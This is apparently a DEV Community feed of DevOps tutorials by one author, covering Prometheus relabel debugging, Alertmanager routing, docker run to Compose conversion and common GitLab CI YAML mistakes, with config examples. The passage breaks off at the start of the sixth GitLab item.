DEV Community: opscanopy

Why Did Prometheus Drop My Target? Debugging relabel_configs

opscanopy — Mon, 27 Jul 2026 17:28:51 +0000

You added a new exporter, reloaded Prometheus, opened /targets, and it isn't there. No error in the logs. The scrape config parsed fine. The exporter is up and you can curl its /metrics by hand. But Prometheus dropped your target and won't tell you why. Or worse — the target shows up, but a label you depend on for routing or dashboards has silently disappeared. Both symptoms almost always trace back to one place: relabel_configs. This post walks through how to debug relabel_configs, where it differs from metric_relabel_configs, and the handful of mistakes that account for nearly every dropped target.

The symptom: a missing target in /targets, or a label that vanished

There are two distinct failures and it helps to name them before you start digging.

The first is the dropped target: it never appears under /targets at all, not even in a "down" state. Service discovery found it, but a keep or drop rule removed it before the scrape ran. Prometheus does not log this — from its point of view, nothing went wrong.

The second is the disappearing label: the target scrapes fine, but a label you expected is gone, or got overwritten with something unexpected. You see this in /targets (hover the labels) or by querying the series and noticing the dimension you wanted to group by isn't there.

# The target you expect is simply absent from the list:
curl -s localhost:9090/api/v1/targets | jq '.data.activeTargets[].labels.job'
# "node-exporter"
# "blackbox"
#   ← your "api" job never shows up

When a target is silently absent, the cause is upstream of the scrape. That's relabeling. The good news: relabeling is deterministic. Given the same input labels and the same rules, you get the same outcome every time, which means you can reproduce it offline.

relabel_configs vs metric_relabel_configs: where each one runs

The two config blocks apply the exact same relabeling actions and semantics. The only difference is where in the scrape lifecycle they run — and that difference decides which symptom you're debugging.

relabel_configs runs at scrape time, before the scrape, on the target labels coming from service discovery. These are the labels that decide whether a target gets scraped at all and what its identity (job, instance, __address__) is. A keep/drop here removes a whole target. This is the block to inspect when a target is missing from /targets.

metric_relabel_configs runs after the scrape, on every sample's label set as it's ingested. A keep/drop here removes individual time series, not the target. This is the block to inspect when the target is present but specific series or labels are missing.

scrape_configs:
  - job_name: api
    kubernetes_sd_configs:
      - role: pod

    # Runs BEFORE the scrape, on discovery labels (__meta_*, __address__).
    # A keep/drop here removes the whole target.
    relabel_configs:
      - source_labels: [__meta_kubernetes_pod_annotation_prometheus_io_scrape]
        action: keep
        regex: "true"

    # Runs AFTER the scrape, on each sample. A drop here removes series,
    # not the target.
    metric_relabel_configs:
      - source_labels: [__name__]
        action: drop
        regex: go_gc_.*

If your target is missing, you never reach metric_relabel_configs — debug relabel_configs first. If the target is present but a series is gone, it's the other block. Getting this distinction right is half the battle when you're searching "metric_relabel_configs vs relabel_configs" at 2 a.m.

The usual suspects

Almost every dropped target comes from one of these. Each is easy to make and invisible until you reproduce it.

A keep regex that does not match (because the regex is anchored)

This is the number-one cause. Prometheus anchors every relabel regex — internally it wraps your pattern as ^(?:<your regex>)$. The pattern must match the entire joined source value, not a substring.

- source_labels: [job]
  action: keep
  regex: api          # anchored to ^(?:api)$

This keeps a target whose job is exactly api. It does not keep api-server, api-prod, or payments-api. With a keep action, anything that fails to match is dropped — so your api-server target silently vanishes. The fix is to match what you actually mean:

- source_labels: [job]
  action: keep
  regex: api.*        # ^(?:api.*)$ — matches api, api-server, api-prod

A drop that is too broad

The mirror image. An unanchored mental model plus a greedy regex catches more than intended:

- source_labels: [__name__]
  action: drop
  regex: .*_bucket   # drops EVERY *_bucket series, including ones you need

keep is an allow-list gate; drop is a deny-list gate. A too-broad drop in metric_relabel_configs quietly deletes series you wanted to keep, and you only notice when a dashboard goes blank.

Wrong source_labels, or the wrong join

When a rule lists multiple source_labels, Prometheus joins their values with the separator — which defaults to a single semicolon ; — before matching the regex. If you forget the separator, your regex never matches the joined string:

# job="api", instance="10.0.0.1:9090" joins to "api;10.0.0.1:9090"
- source_labels: [job, instance]
  action: keep
  regex: api          # ✗ never matches "api;10.0.0.1:9090"

You need a regex that accounts for the ;, e.g. api;.*. A missing source label isn't an error either — Prometheus treats an absent label as the empty string when joining, so source_labels: [does_not_exist] joins to "" and a keep: regex: ".+" drops everything.

A replacement that overwrote address (or deleted a label)

replace has a subtle, real behavior: if the regex doesn't match, the label is left unchanged; but if it matches and the expanded replacement is the empty string, the target label is deleted, not set to blank. Overwrite __address__ with an empty value and the target effectively loses its scrape address.

# If prometheus_io_port is absent, the joined value won't match this regex,
# so __address__ is left alone. But a regex that DOES match and expands to ""
# would DELETE __address__ entirely.
- source_labels: [__address__, __meta_kubernetes_pod_annotation_prometheus_io_port]
  action: replace
  regex: ([^:]+)(?::\d+)?;(\d+)
  replacement: $1:$2
  target_label: __address__

This is the most insidious one, because an empty instance or __address__ doesn't throw — it just produces a target that can't be scraped or that collides with another.

A debugging workflow

When a target is missing, work top-down. The whole point is to recover the exact input the rules saw, then replay the rules against it.

1. Dump the target labels, including _meta

Prometheus exposes the pre-relabel discovery labels — the __meta_* labels — but only for targets that survived relabeling, so a fully dropped target won't appear. The trick is to reload with the relabel rules temporarily removed (or pared down to a single permissive keep), then read the raw discovery labels:

# Show discovered labels for the job, including the __meta_* set the
# relabel rules actually see as input.
curl -s 'localhost:9090/api/v1/targets?state=active' \
  | jq '.data.activeTargets[]
        | select(.discoveredLabels.job=="api")
        | .discoveredLabels'

discoveredLabels is the input to your relabel_configs. labels is the output. If a target is dropped entirely, you can also read the service discovery state directly:

curl -s localhost:9090/api/v1/targets/metadata >/dev/null  # sanity check API is up
curl -s 'localhost:9090/service-discovery' # the SD page shows pre-relabel labels

2. Test the rules against those labels

Now you have the input. Paste the __meta_* labels and your relabel_configs into the Prometheus Relabel Tester and run them. It applies the rules exactly the way Prometheus does — anchored regex, ; separator, $1/${1} expansion — and tells you, per label set, the resulting labels, which ones were added, changed, or removed, and whether the target was dropped (and by which rule).

3. Bisect the rule list

If you have a long chain, comment out the second half of the rules and re-run. If the target survives, the culprit is in the half you removed; if it still drops, it's in the half that's left. Halve again. Because relabeling is a deterministic top-to-bottom chain — each rule sees the output of the one before it — bisection converges fast, usually in two or three rounds.

Worked example: the disappearing target, found and fixed

Here's a real shape of this bug. You discover a pod, want to keep only opted-in pods, and route by environment. The target never shows up.

relabel_configs:
  - source_labels: [__meta_kubernetes_pod_annotation_prometheus_io_scrape]
    action: keep
    regex: "true"

  - source_labels: [__meta_kubernetes_pod_label_env]
    action: keep
    regex: prod

The discovery labels for the target you expected:

__meta_kubernetes_pod_annotation_prometheus_io_scrape="true"
__meta_kubernetes_pod_label_app="api"
__meta_kubernetes_pod_label_env="production"
__address__="10.0.0.5:8080"

Run that input through the rules. The first keep passes — prometheus_io_scrape is exactly "true". The second keep joins to production and tries to match ^(?:prod)$. It doesn't. production is not prod, the regex is anchored, and keep drops anything that fails to match. Rule 2 dropped the target. The tester flags exactly that: dropped by rule 2, action keep.

The fix is to match the real value:

  - source_labels: [__meta_kubernetes_pod_label_env]
    action: keep
    regex: prod.*       # ^(?:prod.*)$ — now matches "production"

Re-run. The target survives, carries __address__="10.0.0.5:8080", and appears in /targets. Total time: under a minute, with no Prometheus reload and no waiting on a scrape interval.

While you're cleaning up, the same chain often promotes pod labels and prunes discovery metadata. Note that labelmap operates on label names, copying matching labels to a new name, and labeldrop removes labels whose names match — useful, but another place a label you wanted can quietly disappear:

  # Promote pod labels: __meta_kubernetes_pod_label_app="api" → app="api"
  - action: labelmap
    regex: __meta_kubernetes_pod_label_(.+)

  # Strip leftover discovery metadata before storage.
  - action: labeldrop
    regex: __meta_.+

Catch it before deploy

The fastest debugging loop is the one that never reaches a live Prometheus. The reason relabeling is so easy to get wrong is that it fails silently: there's no parse error, no log line, just a target that isn't there. The only honest check is to run the rules against representative input and read the output — the same idea behind testing any behavioral config rather than trusting a schema lint.

When you're staring at a "prometheus dropped target" mystery or a "prometheus label disappeared" report, grab the discoveredLabels from the API, paste them with your rules into the Prometheus Relabel Tester, and watch which rule does the damage — it runs entirely in your browser, so internal scrape configs and target metadata never leave your tab.

Once the labels are right, the rest of the observability chain follows. Break down a query that depends on those labels with the PromQL Explainer, or confirm an alert on the resulting series lands in the right place with the Alertmanager Route Tester. Shape the labels first; everything downstream depends on getting that step correct.

Why Isnt My Alert Reaching the Right Receiver? Debugging Alertmanager Routing

opscanopy — Mon, 27 Jul 2026 17:28:17 +0000

You shipped a new alerting rule, it fired in production, and the page went to the wrong team — or nobody got paged at all. The rule is correct and the alert is firing, yet your Alertmanager wrong-receiver problem is real: the notification landed somewhere you did not expect. When Alertmanager is not routing the way you intended, the bug is almost never in the alert. It is in the route tree, and routing trees are code you cannot easily step through.

Alertmanager dispatches every alert by walking a tree of routes. The root is the catch-all every alert enters; from there it descends into child routes whose matchers hold against the alert's labels. Get the walk wrong and the alert silently lands on the wrong leaf. This post covers the five bugs that cause it, and how to walk the tree yourself — no amtool, no reload, no live instance.

The symptom: silent pages, or the wrong team gets paged

Two shapes of the same problem. Either an alert you expected to page the database team went to a catch-all Slack channel nobody watches, or a severity=critical alert produced no page at all. Both come from the same root cause: the route the alert actually matched is not the route you think it matched.

Here is the tree most people start from — the canonical routing example:

route:
  receiver: 'default-receiver'
  group_by: ['alertname', 'cluster', 'service']
  group_wait: 30s
  group_interval: 5m
  repeat_interval: 4h
  routes:
    - receiver: 'team-X-mails'
      match:
        team: frontend
    - receiver: 'team-DB-pages'
      match:
        service: database
    - receiver: 'team-Y-mails'
      match:
        team: backend

An alert with service=database reaches team-DB-pages. Simple enough — until the tree grows, siblings get reordered, someone adds a regex, and the walk stops doing what you read off the page. The fix is always the same: stop reasoning in your head and walk the tree against the exact labels the alert carries. Every bug below is a different way the walk surprises you.

Bug 1: first match wins and you forgot continue: true

This is the most common Alertmanager-not-routing bug. Within a matched route, child routes are evaluated top to bottom, and the alert descends into the first matching child — then the sibling scan stops. Later siblings never run.

That bites hardest when you want an alert to reach two receivers — say, every critical alert mirrored to an audit receiver and routed to the owning team:

route:
  receiver: 'default-receiver'
  group_by: ['alertname']
  routes:
    - receiver: 'all-critical-audit'
      matchers:
        - severity="critical"
    - receiver: 'team-Y-pages'
      match:
        team: backend

Fire an alert with team=backend and severity=critical. It matches the first sibling, all-critical-audit, and the scan stops there. team-Y-pages is never reached, so the backend team is never paged. The audit channel logged it, so it looks like routing worked — which is exactly why this one is hard to spot.

The fix is one line. A matched route with continue: true does not stop the sibling scan, so the alert keeps falling through to later matching siblings:

    routes:
      - receiver: 'all-critical-audit'
        matchers:
          - severity="critical"
        continue: true        # keep going to later siblings
      - receiver: 'team-Y-pages'
        match:
          team: backend

Now both fire. An alert can only reach more than one receiver when continue: true is set on a matched route; without it, the first matching sibling always wins.

Bug 2: the matcher does not match (regex, quoting, a missing label)

If the alert silently skips a route you were sure it would hit, the matcher probably is not matching. Three traps account for almost all of these.

Regexes are fully anchored. Both match_re and the =~ / !~ operators wrap your pattern as ^(?:…)$. A partial pattern never matches a longer value:

matchers:
  - env=~"staging"      # env=staging-eu does NOT match — anchored to exactly "staging"

matchers:
  - env=~"staging-.*"   # env=staging-eu matches now

A missing label is the empty string. Alertmanager treats a label absent on the alert as "", so team="" matches an alert with no team label and team!="" requires it to be present and non-empty. If you write match: { team: frontend } but the alert never sets a team label, the matcher compares frontend against "", fails, and the route is skipped — you fall through.

Operators and quoting in matchers: strings. The modern matchers: form takes strings like foo="bar", foo=~"re", foo!="x", and foo!~"re"; the value can be quoted or bare. The two-character operators (=~, !~, !=) are matched before the single =, so severity!="info" parses as a not-equal. Get the quoting wrong — leave a quote open, say — and the matcher is invalid; an invalid matcher cannot hold, so the route is skipped.

Here is a matcher route that combines a regex with an inequality:

route:
  receiver: 'default-receiver'
  group_by: ['alertname', 'env']
  routes:
    - receiver: 'staging-slack'
      matchers:
        - env=~"staging-.*"
        - severity!="info"
    - receiver: 'prod-pager'
      match_re:
        env: 'prod-.*'

All matchers on a route must hold for it to match — it is a logical AND. An alert with env=staging-eu and severity=warning reaches staging-slack: the anchored staging-.* matches and severity is not info. Change severity to info and the second matcher fails, so the whole route is skipped.

If your alert rules carry the wrong labels in the first place — or are missing the ones your routes match on — fix that upstream. The Prometheus Relabel Tester previews exactly what labels survive your relabel rules before they ever reach the route tree.

Bug 3: a catch-all default route swallows everything before your route is reached

An Alertmanager catch-all route is supposed to be a safety net — the receiver that fires when nothing more specific matches. But a catch-all placed above a specific sibling, instead of below it, turns into a trap. Combined with first-match-wins, a broad rule at the top shadows every specific rule beneath it:

# Trap: the broad rule above shadows the specific one
routes:
  - receiver: catch-all
    matchers: ['severity=~".*"']   # matches everything
  - receiver: db-pager             # NEVER reached
    match: { service: database }

severity=~".*" matches any alert that has a severity label (anchored, but .* covers the whole value). It is the first sibling, so the scan stops there — db-pager is dead code. The database team never pages.

There are two correct ways to think about a catch-all. Either put your specific routes first and the broad one last:

# Fix: specific first, broad last
routes:
  - receiver: db-pager
    match: { service: database }
  - receiver: catch-all
    matchers: ['severity=~".*"']

Or rely on the real catch-all you already have — the root route's own receiver. When no child route matches, the route the alert is sitting in becomes the terminal match and its receiver fires. The root always sets a default receiver, so an alert that matches no child still lands somewhere:

route:
  receiver: 'default-receiver'     # the true catch-all
  group_by: ['alertname']
  routes:
    - receiver: 'team-X-mails'
      match: { team: frontend }
    - receiver: 'team-Y-mails'
      match: { team: backend }

An alert with team=platform matches neither child. It does not error and it does not vanish — it falls through to default-receiver, the catch-all working as intended. The "why didn't my alert route?" cases are usually this: it did route, straight to the default, because no child matched. If a route resolves to no receiver at all, that is a genuine misconfiguration — Alertmanager requires the root to set a default receiver.

Bug 4: route ordering among siblings

Bug 3 is a catch-all swallowing everything. Bug 4 is the subtler, more general version: among siblings, order always decides which single route wins, even when both are specific. Because only the first matching sibling is taken (absent continue), two overlapping matchers in the wrong order route the alert to the wrong team.

Consider an alert that is both a database alert and a backend-team alert:

# labels: service=database, team=backend, severity=critical
routes:
  - receiver: 'team-Y-pages'      # matches team=backend
    match: { team: backend }
  - receiver: 'team-DB-pages'     # matches service=database
    match: { service: database }

Both routes' matchers hold against this alert. Order breaks the tie: team-Y-pages is first, so it wins, and the database on-call (team-DB-pages) is never reached. Swap the two and the database route wins instead. Neither matcher is wrong — the order is the bug.

When two siblings can legitimately both match, you have three choices: put the one you want to win first, make the matchers mutually exclusive (add service!=database to the backend route, say), or set continue: true on the first so the alert reaches both. Nesting helps too — a parent matches the broad case and narrows it with children:

route:
  receiver: 'default-receiver'
  group_by: ['alertname']
  routes:
    - receiver: 'web-team'
      match:
        service: web
      group_by: ['alertname', 'instance']
      routes:
        - receiver: 'web-team-pager'
          matchers:
            - severity="critical"
        - receiver: 'web-team-slack'
          matchers:
            - severity=~"warning|info"

An alert with service=web first descends into web-team, then the nested children pick the receiver by severity. A severity=critical web alert walks root → web-team → web-team-pager. The descent is explicit, so order surprises stay local to one small sibling list instead of hiding across the whole tree.

Bug 5: grouping makes an alert look missing when it is just batched

Sometimes the alert routed perfectly and you still think it is missing — because grouping batched it with others and the notification has not been sent yet. Grouping is controlled by group_by, group_wait, group_interval, and repeat_interval, and all four are inherited down the tree. A child that does not set its own carries the parent's:

route:
  group_by: ['alertname', 'cluster']
  group_wait: 30s
  routes:
    - receiver: db-pager
      match: { service: database }
      # no group_by here → INHERITS ['alertname', 'cluster']

The db-pager leaf has no group_by of its own, so it inherits ['alertname', 'cluster'] and a 30s group_wait from the root. Two consequences trip people up. First, a new group is held for group_wait before its first notification — so a freshly fired alert that "isn't paging" may just be inside its wait window. Second, if group_by is too coarse, your alert gets folded into an existing group's notification and looks like it never fired separately.

Override only where a subtree actually needs different grouping:

route:
  group_by: ['alertname', 'cluster']
  routes:
    - receiver: db-pager
      match: { service: database }
      group_by: ['alertname', 'cluster', 'database']

The leaf you are reading is not necessarily the grouping that applies. Always resolve the effective group_by — the value inherited from the nearest ancestor that set it — before you conclude an alert is missing.

Test Alertmanager routing without amtool: walk the tree against the alerts labels

You do not need amtool config routes test, and you do not need to reload a live Alertmanager to do route debugging. The routing walk is deterministic, so you can do it by hand. Take the exact labels off the firing alert and walk the tree top-down:

# The labels the alert actually carries (from the Alertmanager UI or API):
alertname=HighLatency
service=database
team=backend
severity=critical

Then, starting at the root:

Enter the root. Every alert does — it is the catch-all. Note its receiver and group_by as the inheritance baseline.
Scan children top to bottom. For each child, check whether all its matchers hold against the labels. Remember: regexes are anchored, and a missing label is "".
Descend into the first match. That child's subtree is now where you are. If it set continue: true, keep scanning its later siblings too — those become additional matches.
If no child matches, you are done. The current route is the terminal match; its inherited receiver fires.
Resolve inheritance at the leaf. The effective receiver and group_by come from the nearest ancestor that set them, not necessarily the leaf.

Do that for the labels above against the docs tree and you land on team-DB-pages via service=database, inheriting group_by from the root. Doing this walk on paper for a 40-node tree is exactly the error-prone reasoning that produced the bug in the first place — which is the whole reason a tester exists.

Find the matching receiver now: an Alertmanager route debugger in the browser

When the tree is more than a few nodes, walk it with the Alertmanager Route Tester instead of in your head. Paste your route tree — a bare route: block or a full alertmanager.yml, of which only the route block is read — and the sample alert's labels, one key=value per line. It reproduces the semantics exactly: first-match-wins, continue: true fan-out, anchored regexes, missing-label-as-empty-string, and grouping inheritance.

What you get back is every receiver the alert reaches, in evaluation order, each with its route-path breadcrumb from the root down to the matched node, a tag on any match reached only via continue, and the effective group_by after inheritance. It is a dry run of dispatch — no notification is sent, nothing is uploaded, and it all runs in your browser, so you can safely paste internal receiver names and private team labels.

Once the labels are confirmed correct at the source with the Prometheus Relabel Tester and your rules are proven to fire with AlertLint, the route tree is the last hop to get right. Walk it before it pages anyone — and the next time an alert reaches the wrong receiver, you will know which node sent it there.

Open the Alertmanager Route Tester →

How to Convert a docker run Command to docker-compose.yml

opscanopy — Mon, 27 Jul 2026 17:25:53 +0000

You started a container with a quick docker run line during a debugging session. It worked. Now someone wants it in the repo, reviewable in a PR, startable with one command — and you have a 200-character one-liner with -p, three -v mounts, half a dozen -e flags and a --restart policy that you now need to convert to docker-compose.yml. This is the moment most people reach for the docs and start hand-translating, and it's exactly where flags get dropped, ports get quoted wrong, and lists get mis-nested.

This guide walks through how to convert a docker run command to docker-compose.yml flag by flag, including the gotchas that bite when you do it by hand. Every mapping here matches what the Docker Run to Compose converter actually emits, so you can read the rules and then paste your command into the tool to skip the mechanical part.

Why move from docker run to Compose

A docker run command is a fine way to start one container interactively. It stops being fine the moment any of these are true:

The exact invocation needs to live in version control so a teammate can reproduce it.
You want it reviewed — a YAML diff is far easier to read in a PR than a wall of flags on one line.
The container has dependencies, or you'll soon add a second service.
You want docker compose up -d instead of remembering the full command every time.

Compose doesn't change what the container does. It just gives the same configuration a declarative, diffable shape. The translation is almost entirely mechanical — which is precisely why it's worth getting the rules straight rather than eyeballing it.

The anatomy of a docker run command

Here's a real one. Postgres, published port, named volume, two environment variables, a restart policy:

docker run -d --name db \
  -e POSTGRES_PASSWORD=secret \
  -e POSTGRES_DB=app \
  -p 5432:5432 \
  -v pgdata:/var/lib/postgresql/data \
  --restart unless-stopped \
  postgres:16

Read left to right, a docker run command is three parts:

docker run — the command prefix.
The flags — everything starting with - or --, in any order. Each flag either takes a value (-p 5432:5432) or is a boolean (-d).
The image, then the command — the first token that isn't a flag is the image (postgres:16). Anything after it is the command to run inside the container, passed verbatim.

That ordering matters. As soon as the parser hits the image, flag scanning stops — docker run ... postgres:16 -p 80:80 treats -p 80:80 as arguments to the container, not as a published port. Keep your flags before the image.

Bundled short flags are the other thing to know about. -it is two flags (-i and -t), and -itp 8080:80 is three: -i, -t, and -p 8080:80. A value-taking flag like -p consumes the rest of the bundle (or the next token) as its argument.

Mapping every docker run flag to docker-compose.yml

This is the core of converting a docker run command to compose: each flag maps to a key under the service. Here's the full mapping table for the flags you'll actually hit.

`docker run` flag	`docker-compose.yml` key	Notes
`-p` / `--publish`	`ports`	Quoted string, e.g. `"8080:80"`
`-v` / `--volume`, `--mount`	`volumes`	Short `source:target[:ro]` form
`-e` / `--env`	`environment`	`KEY=value` list
`--env-file`	`env_file`	One or more files
`--name`	`container_name`	Also becomes the service key
`--restart`	`restart`	`no` / `always` / `on-failure` / `unless-stopped`
`--network` / `--net`	`networks`	`host` / `none` → `network_mode`
`-w` / `--workdir`	`working_dir`
`-u` / `--user`	`user`
`--cap-add` / `--cap-drop`	`cap_add` / `cap_drop`
`--add-host`	`extra_hosts`
`--hostname`	`hostname`
`--entrypoint`	`entrypoint`
`--privileged`	`privileged`
`-m` / `--memory`	`mem_limit`
`--cpus`	`cpus`
`-l` / `--label`	`labels`
`--health-*`	`healthcheck`	`cmd` / `interval` / `timeout` / `retries`
`-i` / `-t`	`stdin_open` / `tty`
`--rm`, `-d` / `--detach`	—	No Compose equivalent (dropped)

A few of these deserve a closer look.

-p → ports

Each -p becomes one entry under ports:, written as a quoted "HOST:CONTAINER" string:

ports:
  - "5432:5432"

The quotes are not optional. A bare 5432:5432 is read by YAML 1.1 parsers as a sexagesimal (base-60) number, which silently corrupts the mapping. This is one of the most common hand-conversion bugs, so always quote ports.

-v / --volume and --mount → volumes

-v keeps its short source:target[:ro] form verbatim:

volumes:
  - pgdata:/var/lib/postgresql/data
  - /data:/usr/share/nginx/html:ro

A long-form --mount type=bind,source=/data,target=/app,readonly is reduced to the same short source:target:ro shape. Named volumes and bind mounts are preserved exactly as written — converting doesn't invent a top-level volumes: declaration you didn't ask for (more on that in the gotchas).

-e / --env-file → environment / env_file

Each -e KEY=value becomes a KEY=value line under environment:, and each --env-file maps to env_file::

environment:
  - POSTGRES_PASSWORD=secret
  - POSTGRES_DB=app
env_file:
  - .env

When you're moving environment off the command line and into files, it's worth confirming your .env and .env.example haven't drifted apart — the Env Example Checker flags keys that exist in one but not the other so a missing variable doesn't surface as a runtime error.

--restart, --name, -w, -u

These are direct one-to-one scalar mappings:

restart: unless-stopped
container_name: db
working_dir: /work
user: 1000:1000

--name does double duty: it sets container_name and becomes the service key (services: { db: ... }). When there's no --name, the service is keyed as app.

--network → networks (or network_mode)

A named network becomes a networks: list entry. But host and none are special — they're network modes, not networks, so they map to network_mode instead:

# docker run --network backend
networks:
  - backend

# docker run --network host
network_mode: host

--cap-add, --cap-drop, --add-host

Capabilities and host entries each collect into a list:

cap_add:
  - NET_ADMIN
cap_drop:
  - ALL
extra_hosts:
  - db:10.0.0.5

--health-* → healthcheck

The --health-* flags assemble into a single healthcheck: block. The command becomes a CMD-SHELL test:

docker run --health-cmd "redis-cli ping" \
  --health-interval 10s --health-timeout 3s --health-retries 5 \
  redis:7-alpine

healthcheck:
  test: "CMD-SHELL redis-cli ping"
  interval: 10s
  timeout: 3s
  retries: 5

-m / --cpus → mem_limit / cpus

Resource flags map to mem_limit and cpus:

mem_limit: 256m
cpus: "1.5"

These are the v2-style limits Compose honors directly. When you eventually move this container to Kubernetes, those numbers become pod requests and limits — the Kubernetes Resource Calculator turns a memory and CPU figure into safe requests/limits values so you're not guessing at the conversion.

The flags with no Compose equivalent

--rm and -d / --detach describe how you invoked the container, not how it's configured, so they have no place in a service definition. They're dropped — but you should know why:

--rm (remove on exit) is irrelevant because Compose manages the lifecycle.
-d / --detach is replaced by how you start the stack: docker compose up -d.

A full worked example

Take this longer command — an API service on a user network, with environment, capabilities and an extra host entry:

docker run -d --name api \
  --network backend \
  -p 3000:3000 \
  -e NODE_ENV=production \
  --cap-add NET_ADMIN \
  --cap-drop ALL \
  --add-host db:10.0.0.5 \
  myorg/api:1.4.0

Applying the mapping table flag by flag — and dropping -d with a note — gives this service:

services:
  api:
    image: myorg/api:1.4.0
    container_name: api
    ports:
      - "3000:3000"
    environment:
      - NODE_ENV=production
    networks:
      - backend
    extra_hosts:
      - db:10.0.0.5
    cap_add:
      - NET_ADMIN
    cap_drop:
      - ALL

Notice what carried over and what didn't. --name api set both the service key and container_name. The port is quoted. -d is gone — you'll start this with docker compose up -d. Everything else is a direct flag-to-key translation in the fixed, readable order Compose conventions expect.

Gotchas when you convert docker run -p -v -e to compose

The mapping is mechanical, but a handful of details trip people up.

Named volumes vs bind mounts. Both use the same -v syntax, so they land in the same volumes: list — but they mean different things. -v /data:/app is a bind mount of a host path; -v pgdata:/app is a named volume managed by Docker. A bare relative or absolute path with a leading / (or .) is a bind mount; a bare name is a volume. Converting keeps the string exactly as written and does not synthesize the top-level volumes: block that named volumes technically need. Compose will create an anonymous-ish volume implicitly, but if you want it explicit and shareable, add it yourself:

services:
  db:
    image: postgres:16
    volumes:
      - pgdata:/var/lib/postgresql/data
volumes:
  pgdata:

Environment precedence. If you use both environment and env_file, values set inline in environment win over the same key in an env file. And neither overrides a variable that's already set in the shell when you run docker compose up unless you reference it. Keep secrets out of environment: (it's committed) and in env_file: (gitignored) — and verify the file's keys with the Env Example Checker before you ship.

host and none network modes. As covered above, --network host and --network none are not networks — they're modes. Putting host under a networks: list is invalid; it has to be network_mode: host. This is the kind of thing easy to miss by hand because the flag spelling is identical to a normal --network backend.

Ports: publish vs expose. -p publishes a port to the host (ports:), which is what you almost always mean. There is no -p-without-a-host-side equivalent of Compose's expose: (container-to-container only, no host binding) — expose comes from the image's EXPOSE directive or an explicit expose: key, not from docker run -p. Don't reach for expose: when converting a -p flag; you want ports:.

Convert it instantly

The rules above are everything you need to do this by hand. But hand-conversion is exactly where a flag gets dropped, a port loses its quotes, or --network host ends up in the wrong key — and you don't find out until the container behaves differently than the original command.

The Docker Run to Compose converter does the mechanical translation for you. It tokenizes the command the way a shell would — honoring quotes, bundled short flags like -it, and backslash-newline continuations — maps each flag onto the matching Compose key, and emits deterministic YAML. Flags with no equivalent (--rm, -d) come back as warnings instead of silently vanishing, so nothing disappears without you knowing. It also runs in reverse: paste a Compose service and get an equivalent docker run line back.

Everything happens in your browser, so you can paste commands that name private registries or carry secret-bearing -e values without anything leaving the tab. Paste your command, read the warnings, and commit the result.

7 Common .gitlab-ci.yml Mistakes (and How to Catch Them)

opscanopy — Mon, 27 Jul 2026 17:25:48 +0000

You push a one-line change, switch tabs, and 30 seconds later the pipeline icon goes red. Not a failing test — the pipeline never started. GitLab printed This GitLab CI configuration is invalid and a single terse line about a stage or a script. You re-read the YAML three times, find the typo, push again, wait again. Most of the GitLab CI mistakes that cost you that round-trip are not exotic. They are the same handful of GitLab pipeline misconfigurations, repeated across every team: a stage that was never declared, a job that does nothing, a needs that points at a job you renamed.

The good news is that these GitLab CI YAML errors are structural, which means they are catchable before you commit. Below are the seven that show up most often, each with the symptom, a minimal broken example, and the fix you can paste in.

1. Referencing an undefined stage

stages:
  - build
  - test

release-job:
  stage: release      # not in stages:
  script:
    - make release

GitLab rejects this with something like chosen stage release does not exist; available stages are .pre, build, test, .post. A job's stage: has to be one of the names in your top-level stages: list — or one of the five implicit stages GitLab always provides: .pre, build, test, deploy, and .post.

There is a quieter version of this bug. A job with no stage: at all defaults to test. If you declared a custom stages: list that does not include test, that job has nowhere to run and GitLab errors the same way. The fix is the same in both cases — declare the stage:

stages:
  - build
  - test
  - release

release-job:
  stage: release
  script:
    - make release

2. A job with no script (and the global/default-script confusion)

stages:
  - test

empty-job:
  stage: test
  # no script, run, trigger, or extends

This produces the GitLab CI job without script error — job config should implement a script: or a trigger: keyword. A visible job has to do something. There are exactly four ways to satisfy that: run commands with script: (or the newer run:), start a downstream pipeline with trigger:, or inherit one of those from somewhere else via extends:. A job with none of the four is rejected.

The confusion that causes this is the global/default block. Teams set a before_script: or a default: section and assume a job inherits a command from it. It does not. before_script runs around your script; it is not the script. default: supplies defaults for keys like image: and cache:, but it does not give a job an executable surface. The job still needs its own script: (or a trigger, run, or extends):

empty-job:
  stage: test
  script:
    - make check

Hidden, dot-prefixed templates are the exception — more on those in mistake six. They are allowed to be partial fragments, so they are not required to carry a script.

3. needs pointing at a job in a later stage or a job that does not exist

stages:
  - build
  - test

build:
  stage: build
  script: make

test:
  stage: test
  needs:
    - compile      # no such job
  script: make test

needs: builds the directed acyclic graph that lets jobs start early instead of waiting for a whole stage to finish. Every name in it has to resolve to a real job in the same pipeline. Here compile was renamed to build at some point and the needs reference was never updated, so the graph has a dangling edge and the pipeline fails to assemble.

The classic version of this mistake is ordering: pointing needs at a job in a later stage. needs can only reference jobs that run before — a job cannot need something that hasn't run yet. Point it at the real upstream job:

test:
  stage: test
  needs:
    - build
  script: make test

The same rule applies to dependencies:. Every artifact dependency you list has to name a job that actually exists, or the download fails at runtime.

4. rules that never match (or always do) — and mixing only/except with rules

deploy:
  stage: deploy
  when: sometimes        # not a valid when value
  rules:
    if: '$CI_COMMIT_TAG' # rules must be a list
  script: ./deploy.sh

Two GitLab CI rules and extends errors are packed into this one job. First, when: only accepts a fixed set of values — on_success, on_failure, always, manual, delayed, or never. sometimes is not one of them, and a typo here is rejected outright. Second, rules: has to be a YAML list of rule objects. Written as a bare mapping (if: directly under rules:), it is malformed; GitLab cannot read it as a rule.

The other half of this category is logic, and it is harder to spot because the YAML is valid. A rule whose if: references a variable that is empty on the branch you care about silently never matches, and the job never runs. A rule with no condition always matches. And rules: cannot be combined with the legacy only:/except: keywords in the same job — GitLab errors if you use both. only/except still work, but they are no longer actively developed, so new pipelines should standardize on rules. Write rules as a list, with each item carrying its condition and when:

deploy:
  stage: deploy
  rules:
    - if: '$CI_COMMIT_TAG'
      when: manual
  script: ./deploy.sh

If your bug is an environment variable that is empty when you expected a value, that is a different class of problem — the Env Example Checker catches the .env versus .env.example drift that leaves a variable undefined in the first place.

5. extends a template that does not exist, or a circular extends

.base:
  image: golang:1.22
  script: make

lint:
  extends: .bse        # typo — .bse, not .base
  script: make lint

extends: is GitLab's DRY mechanism: a job pulls in the keys of another job or hidden template and overrides what it needs. The most common failure is exactly the one above — a typo or a rename, so extends points at a template that is not in the file. GitLab cannot resolve .bse, and the job config is invalid.

The nastier variant is a circular extends — a extends b, b extends a — which has no base case to resolve and is rejected. Keep the chain pointing at a real, terminal template:

.base:
  image: golang:1.22
  script: make

lint:
  extends: .base
  script: make lint

extends can also take a list of templates, and each name in that list has to resolve. A single bad entry breaks the whole job.

6. YAML anchors and hidden (dot-prefixed) jobs gone wrong

